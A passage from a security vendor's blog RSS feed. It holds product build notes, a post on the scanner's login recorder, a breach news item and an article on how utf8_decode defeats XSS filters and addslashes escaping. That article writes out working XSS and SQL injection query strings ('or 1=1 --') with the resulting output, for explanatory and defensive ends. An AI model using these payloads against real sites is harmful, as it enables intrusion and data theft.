<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Click here for the complete Acunetix WVS change log.</div>
<p>An updated build for Acunetix WVS Version 6.5 has been released with some improvements, bug fixes and new security checks.</p>
<p><strong>New:</strong></p>
<ul>
<li>Added a new check for SVN repositories</li>
</ul>
<p><strong>Improvements:</strong></p>
<ul>
<li>Improved MultiRequest paramenter manipulation; now using the form matcher to match parameter values</li>
<li>Improved SQL injection tests</li>
<li>Improved Application error tests</li>
</ul>
<p><strong>Bug fixes:</strong></p>
<ul>
<li>Fixed: Links from HTML comments and other sources that are not trusted where not checked if they are from the same host as the base</li>
<li>Fixed: Login sequence not working properly with HTTP authentication</li>
<li>Fixed: MessageDlg was used in inittempfiles in console mode</li>
<li>Fixed: WinInet bug to resent the request if the server accepts client certificates</li>
<li>Fixed: Redirect from index.php to index.php was not working</li>
</ul>
<p><strong>How to upgrade:</strong> On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</p>
<p>Click <a href="http://www.acunetix.com/support/build-history.htm" target="_self">here</a> for the complete Acunetix WVS change log.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/fpZfp8mcdyc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091005-released/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091005-released/</feedburner:origLink></item>
		<item>
		<title>Exploring the capabilities of Acunetix WVS Login Sequence Recorder; automating dynamic web applications crawling</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/sC4LQqwDidA/</link>
		<comments>http://www.acunetix.com/blog/knowledge-base/exploring-the-capabilities-of-the-acunetix-wvs-login-sequence-recorder/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 10:12:30 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Knowledge Base]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[login sequence recorder]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=730</guid>
		<description><![CDATA[The Acunetix WVS Login Sequence Recorder can be used for many other tasks rather than just to scan password protected areas.  If used appropriately it will help you in automating most of the crawling process.  Therefore the Acunetix WVS Login Sequence Recorder can be used to:
- Configure the crawler to crawl a pre-defined path of [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">The Acunetix WVS Login Sequence Recorder can be used for many other tasks rather than just to scan password protected areas.  If used appropriately it will help you in automating most of the crawling process.  Therefore the Acunetix WVS Login Sequence Recorder can be used to:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">- Configure the crawler to crawl a pre-defined path of a website or web application</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">- Submit specific input (forms training) when accessing web pages and web forms which require specific input</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">- Specify which pages need manual intervention during an automated scan, because of the unique and random input they require each time they are accessed, such as forms which utilize CAPTCHA and Single sign on forms</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">In this video, one can see how the Acunetix WVS Login Sequence Recorder was used to help automate most of the crawling process, and crawl all of the web application.   The website included:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">a) A set of three forms which unless the details are filled correctly, the user cannot proceed from one form to the other, and finally to the success page.  The Acunetix WVS Login Sequence Recorder was used to record this pre-defined crawling sequence, including submitting the required details automatically.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">b) A password protected section.  The Acunetix WVS Login Sequence Recorder was used to simulate a login automatically, and was also configured to automatically detect when the logged in session is invalidated or times out, so if it happens, the crawler will re-login automatically to continue crawling and scanning the password protected section of the web application.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">c) A CAPTCHA and Single Sign on Form.  Because of the unique and random input such pages require, they cannot be automatically scanned.  If it was possible to automatically submit details to such forms, then the scope of CAPTCHA and Single Sign On technology would be nullified.  Therefore the Acunetix WVS Login Sequence Recorder was used to configure the crawler and scanner to notify the user each time one of these pages are accessed, to allow the user to enter the required input.</div>
<p>The Acunetix WVS Login Sequence Recorder can be used for many other tasks rather than just to scan password protected areas in websites and web applications.  If used appropriately, it will help you in automating most of the crawling process.  The Acunetix WVS Login Sequence Recorder can also be used to:</p>
<ul>
<li>Configure the crawler to crawl a pre-defined path from a website or web application</li>
<li> Submit specific input (forms training) when accessing web pages and web forms which require specific input</li>
<li> Specify which pages need manual intervention during an automated scan, because of the unique and random input they require each time they are accessed, such as forms which utilize CAPTCHA and Single sign on forms</li>
</ul>
<p>In this video, one can see how the Acunetix WVS Login Sequence Recorder was used to help automate most of the crawling process, and crawl all of the web application.   The website included:</p>
<p>a) A set of three forms which unless the details are filled correctly, the user cannot proceed from one form to the other, and finally to the success page.  The Acunetix WVS Login Sequence Recorder was used to record this pre-defined crawling sequence, including submitting the required details automatically.</p>
<p>b) A password protected section.  The Acunetix WVS Login Sequence Recorder was used to simulate a login automatically, and was also configured to automatically detect when the logged in session is invalidated or times out, so if it happens, the crawler will re-login automatically to continue crawling and scanning the password protected section of the web application.</p>
<p>c) A CAPTCHA and Single Sign on Form.  Because of the unique and random input such pages require, they cannot be automatically scanned.  If it was possible to automatically submit details to such forms, then the scope of CAPTCHA and Single Sign On technology would be nullified.  Therefore the Acunetix WVS Login Sequence Recorder was used to configure the crawler and scanner to notify the user each time one of these pages are accessed, and to allow the user to enter the required input.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/hH-xUZ7PdG0&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/hH-xUZ7PdG0&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Click <a href="http://www.youtube.com/watch?v=hH-xUZ7PdG0&amp;hl&amp;fmt=22" target="_blank">here</a> to watch the high quality version of this video</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/sC4LQqwDidA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/knowledge-base/exploring-the-capabilities-of-the-acunetix-wvs-login-sequence-recorder/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/knowledge-base/exploring-the-capabilities-of-the-acunetix-wvs-login-sequence-recorder/</feedburner:origLink></item>
		<item>
		<title>Acunetix WVS Version 6.5 build 20090917 released</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/ZwkEbkXBc60/</link>
		<comments>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20090917-released/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 10:15:41 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Product News]]></category>
		<category><![CDATA[bug fixes]]></category>
		<category><![CDATA[improvements]]></category>
		<category><![CDATA[new build]]></category>
		<category><![CDATA[release]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=726</guid>
		<description><![CDATA[An updated build for Acunetix Version 6.5 has been released with some improvements and bug fixes.
New:
Added two new blind SQL injection tests
Added a new scanning profile for stored XSS only
Added HTTP verb tempering using POST method check
Improvements:
Improved appearance for compliance report by adding visual markets and several other presentation enhancements
Bug Fixes:
Fixed issue where HTTP Proxy [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">An updated build for Acunetix Version 6.5 has been released with some improvements and bug fixes.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">New:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Added two new blind SQL injection tests</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Added a new scanning profile for stored XSS only</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Added HTTP verb tempering using POST method check</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improvements:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Improved appearance for compliance report by adding visual markets and several other presentation enhancements</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bug Fixes:</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed issue where HTTP Proxy was dublicating the connection: keep-alive header</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed issue where HTTP Proxy was putting the authorization header from fake basic authentication into server request</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Fixed a problem where credentials configured through command line where not working properly in particular situations</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">How to upgrade: On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Click here for the complete Acunetix WVS changelog.</div>
<p>An updated build for Acunetix Version 6.5 has been released with some improvements and bug fixes.</p>
<p><strong>New:</strong></p>
<ul>
<li>Added two new blind SQL injection tests</li>
<li>Added a new scanning profile for stored XSS only</li>
<li>Added HTTP verb tempering using POST method check</li>
</ul>
<p><strong>Improvement:</strong></p>
<ul>
<li>Improved appearance for compliance report by adding visual markets and several other presentation enhancements</li>
</ul>
<p><strong>Bug Fixes:</strong></p>
<ul>
<li>Fixed temporary files access issue</li>
<li>Fixed issue where HTTP Proxy was dublicating the connection: keep-alive header</li>
<li>Fixed issue where HTTP Proxy was putting the authorization header from fake basic authentication into server request</li>
<li>Fixed a problem where credentials configured through command line where not working properly in particular situations</li>
</ul>
<p><strong>How to upgrade:</strong> On starting up Acunetix WVS, a pop up window will automatically notify you that a new build has been uploaded.  To download the latest navigate to General &gt; Program Updates node in the Tools explorer and click on Download and Install new build.</p>
<p>Click <a href="http://www.acunetix.com/support/build-history.htm" target="_self">here</a> for the complete Acunetix WVS change log.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/ZwkEbkXBc60" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20090917-released/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20090917-released/</feedburner:origLink></item>
		<item>
		<title>How to secure web servers and database servers</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/Um3bBPJnkZE/</link>
		<comments>http://www.acunetix.com/blog/web-security-articles/how-to-secure-web-servers-and-database-servers/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 12:33:24 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Web Security Articles]]></category>
		<category><![CDATA[database server security]]></category>
		<category><![CDATA[web server security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=723</guid>
		<description><![CDATA[Web servers are one of the most targeted public faces of an organization.  Securing a web server is as important as securing the website or web application itself and the network around it.
Although securing a web server can be a daunting operation and requires specialist expertise, it is not an impossible task to achieve.  Long [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Web servers are one of the most targeted public faces of an organization.  Securing a web server is as important as securing the website or web application itself and the network around it.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Although securing a web server can be a daunting operation and requires specialist expertise, it is not an impossible task to achieve.  Long hours of research and an overdose of coffee and take away food, can save you from long nights at the office, headaches and data breaches in the future.  Irrelevant of what web server software and operating system you are running, an out of the box configuration is usually insecure.  Therefore one must take some necessary steps in order to increase web server security.</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Click here to learn more on how to secure web servers and database servers.</div>
<p>Web servers are one of the most targeted public faces of an organization.  Securing a web server is as important as securing the website or web application itself and the network around it.</p>
<p>Although securing a web server can be a daunting operation and requires specialist expertise, it is not an impossible task to achieve.  Long hours of research and an overdose of coffee and take away food, can save you from long nights at the office, headaches and data breaches in the future.  Irrelevant of what web server software and operating system you are running, an out of the box configuration is usually insecure.  Therefore one must take some necessary steps in order to increase web server security.</p>
<p>Click <a href="http://www.acunetix.com/websitesecurity/webserver-security.htm" target="_self">here</a> to learn more with the help of our security tips on how to secure web servers and database servers.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/Um3bBPJnkZE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-articles/how-to-secure-web-servers-and-database-servers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/web-security-articles/how-to-secure-web-servers-and-database-servers/</feedburner:origLink></item>
		<item>
		<title>SQL injection used in the largest data security breach in U.S. history to date</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/-_eTiP1Uv1w/</link>
		<comments>http://www.acunetix.com/blog/websecuritynews/sql-injection-used-in-largest-data-security-breach-in-u-s-history/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 13:32:03 +0000</pubDate>
		<dc:creator>Robert</dc:creator>
				<category><![CDATA[Web Security News]]></category>
		<category><![CDATA[Acunetix WVS]]></category>
		<category><![CDATA[security skills]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[U.S. history]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=714</guid>
		<description><![CDATA[Three men, responsible for the largest data security breach in U.S. history, stole 130 million credit and debit card numbers from five leading companies.  They took advantage of a coding error, and allegedly used a SQL injection attack to compromise a web application, which was used as the starting point to help them bypass company [...]]]></description>
			<content:encoded><![CDATA[<p>Three men, <a href="http://www.eweek.com/c/a/Security/Details-of-Heartland-Hannaford-Data-Breaches-Emerge-788029/?kc=EWKNLSTE08202009STR1" target="_blank">responsible</a> for the largest data security breach in U.S. history, stole 130 million credit and debit card numbers from five leading companies.  They took advantage of a coding error, and allegedly used a <a href="http://www.acunetix.com/websitesecurity/sql-injection.htm" target="_self">SQL injection</a> attack to compromise a web application, which was used as the starting point to help them bypass company network firewalls and gain access over companies’ networks.</p>
<p>One of the main problems large enterprises are facing is that although SQL injection errors are relatively easy to find, they are difficult and costly to fix.  Developers need to have proper security skills, and keep security in mind when developing custom web applications.  Although automated web vulnerability scanners such as <a href="http://www.acunetix.com/vulnerability-scanner/" target="_self">Acunetix WVS</a> must always be accompanied by manual penetration testing, they help developers in saving time in securing their web applications and sharpen their security skills, to develop secure web applications before they are pushed into a production environment.</p>
<p>Unfortunately, while hackers used to hack websites to measure their abilities, and for the thrill hacking brings along with it, nowadays, websites and web applications are a money making target.  This is because most of these web applications form part of an organization’s perimeter network, and once compromised, they are used as a base to launch further attacks to gain access over an entire organization&#8217;s network.</p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/-_eTiP1Uv1w" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/websecuritynews/sql-injection-used-in-largest-data-security-breach-in-u-s-history/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/websecuritynews/sql-injection-used-in-largest-data-security-breach-in-u-s-history/</feedburner:origLink></item>
		<item>
		<title>Security risks associated with utf8_decode and XSS filters</title>
		<link>http://feedproxy.google.com/~r/acunetixwebapplicationsecurityblog/~3/tuYa1dpAITc/</link>
		<comments>http://www.acunetix.com/blog/web-security-articles/security-risks-associated-with-utf8_decode/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 14:49:45 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[Web Security Articles]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[utf8_decode]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[xss filters]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=683</guid>
		<description><![CDATA[BlackHat USA 2009; Eduardo Vela Nava (sirdarckcat) and David Lindsay presented a paper entitled “Our Favorite XSS Filters and How to Attack Them”. Very interesting paper, you should definitely take a look at it.
In this paper, besides other things, they presented a very interesting way to bypass XSS filters using Unicode charcters.
XSS filters
Consider the following [...]]]></description>
			<content:encoded><![CDATA[<p>BlackHat USA 2009; Eduardo Vela Nava (<a href="http://sirdarckcat.blogspot.com/" target="_blank">sirdarckcat</a>) and David Lindsay presented a paper entitled “<a href="http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf" target="_blank">Our Favorite XSS Filters and How to Attack Them</a>”. Very interesting paper, you should definitely take a look at it.</p>
<p>In this paper, besides other things, they presented a very interesting way to bypass <a href="http://www.acunetix.com/websitesecurity/xss.htm" target="_self">XSS</a> filters using Unicode charcters.</p>
<p><strong>XSS filters</strong></p>
<p>Consider the following piece of code:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-682" title="xss_utf8_decode" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG" alt="xss_utf8_decode" width="397" height="303" /></p>
<p>This code is using the utf8_decode function to decode the input to single-bytes characters. Later, it will check if the decoded input contains dangerous characters and reject the input if that’s the case. Using this function, utf8_decode is/(used to be) recommended to protect against obfuscated Unicode encoding.</p>
<p>Here is a quote from OWASP’s discussion  page about &#8220;Testing_for_Cross_site_scripting&#8221;;</p>
<p>“</p>
<blockquote><p>The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:<br />
…</p>
<p>utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.<br />
…</p></blockquote>
<p>“</p>
<p class="MsoNormal">However, in this case, as Eduardo and David showed, utf8_decode is the problem and not the solution. You can bypass the filter with a query string like:</p>
<p class="MsoNormal"><em>vuln.php?input=%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E</em></p>
<p class="MsoNormal">I’ve edited the code to show the input before and after utf8_decode to understand what’s going on:</p>
<p class="MsoNormal"><em>input (before utf8_decode): ö&lt;img acu onmouseover=prompt(400854747531)//ö&gt;</em></p>
<p class="MsoNormal"><em>decoded input (after utf8_decode): ?g acu onmouseover=prompt(400854747531)//?</em></p>
<p class="MsoNormal">The initial string contained 2 filtered characters &lt; (%3C) and &gt; (%3E). However, because of the %F6 character, utf8_decode is replacing them (and two more characters) with a question sign. The filter is bypassed and the code is vulnerable to XSS (cross site scripting).</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>utf8_decode and addslashes</strong></p>
<p class="MsoNormal">However, this problem is not only related with XSS filters.  A similar case will appear when using utf8_decode to convert escaped strings (e.g. addslashes()).</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">“</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">he following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">…</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">Utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">attacks that the attacker has obfuscated with Unicode encoding.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">…</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">“</div>
<p class="MsoNormal">Some sample source code:</p>
<p class="MsoNormal" style="text-align: center;"><img class="aligncenter size-full wp-image-681" title="sql_injection_addslashes_utf8_decode" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG" alt="sql_injection_addslashes_utf8_decode" width="620" height="326" /></p>
<p>This code is using addslashes (which is not a proper way to protect against SQL injection but still people use it) together with utf8_decode.   If you try to insert a single quote, addslashes will protect against SQL injection:</p>
<p><em>index.php?username=%27&amp;password=a</em></p>
<p><em>user: test\&#8217;</em></p>
<p><em>pass: a</em></p>
<p><em>SQL query: SELECT * FROM users WHERE uname = &#8216;test\&#8221; and pass = &#8216;a&#8217;</em></p>
<p>I’ve updated the code to show the inputs and the SQL query. However, this code can be exploited using a query string like:</p>
<p><em>index.php?username=test%FC%27%27+or+1=1+&#8211;+&amp;password=a</em></p>
<p><em>This will generate the following output:</em></p>
<p><em>user: test?&#8217; or 1=1 &#8211;</em></p>
<p><em>pass: a</em></p>
<p><em>SQL query: SELECT * FROM users WHERE uname = &#8216;test?&#8217; or 1=1 &#8212; &#8216; and pass = &#8216;a&#8217;</em></p>
<p>Again, utf8_decode replaced the characters after %FC with a question mark, making the code vulnerable to SQL injection. The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data.</p>
<p>While looking into this problem, I’ve found a very useful <a href="http://us2.php.net/manual/en/function.utf8-decode.php#83935" target="_blank">comment </a>on the PHP page for the utf8_decode function:</p>
<blockquote>
<div>
<p class="MsoNormal"><span><span style="font-size:8.5pt; font-family:Consolas;color:black">Warning!</span></span><span style="font-size: 8.5pt;font-family:Consolas;color:black"><br />
<span>This function contains a possible security risk when you try to convert escaped strings (see addslashes() and related functions).</span><br />
<span>It reacts nasty on broken multibyte sequences. In UTF-8, follow-up bytes ALWAYS have the binary pattern 10xxxxxx, but this fact is not handled by utf8_decode in the way you would expect: If you pass a start byte (110xxxxx, 1110xxxx, 11110xxx &#8211; or even invalid sequences like 11111100), followed by one or more non-multibyte chars (0xxxxxxx), the start sequence &#8220;char&#8221; will be replaced by &#8216;?&#8217; (0&#215;3F) and up to three following chars will disappear even if they are single-byte-chars (0xxxxxxx). So if you escape a string with a typical escape char like backslash, you would expect that your escaping would always survive a call to utf8decode because the escape char is in the assumed safe ascii range 0-127, but that is NOT the case!</span><br />
<span>Try things like utf8_decode(&#8221;test: ü\\\&#8221;123456&#8243;) to check it out.</span><br />
<span>To avoid problems take care that string-escaping always is the last step of data manipulation when you depend on leak-proof escaping.</span></span></p>
</div>
</blockquote>
<p class="MsoNormal">This comment explains very well what’s going on. We’ve also updated Acunetix WVS to test for this kind of vulnerabilities in the latest build (build <a href="http://www.acunetix.com/support/build-history.htm" target="_self">20090813</a>).</p>
<p class="MsoNormal"><span style="font-family: Consolas; font-size: small;"><span><br />
</span></span></p>
<img src="http://feeds.feedburner.com/~r/acunetixwebapplicationsecurityblog/~4/tuYa1dpAITc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-articles/security-risks-associated-with-utf8_decode/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.acunetix.com/blog/web-security-articles/security-risks-associated-with-utf8_decode/</feedburner:origLink></item>
	</channel>
</rss>
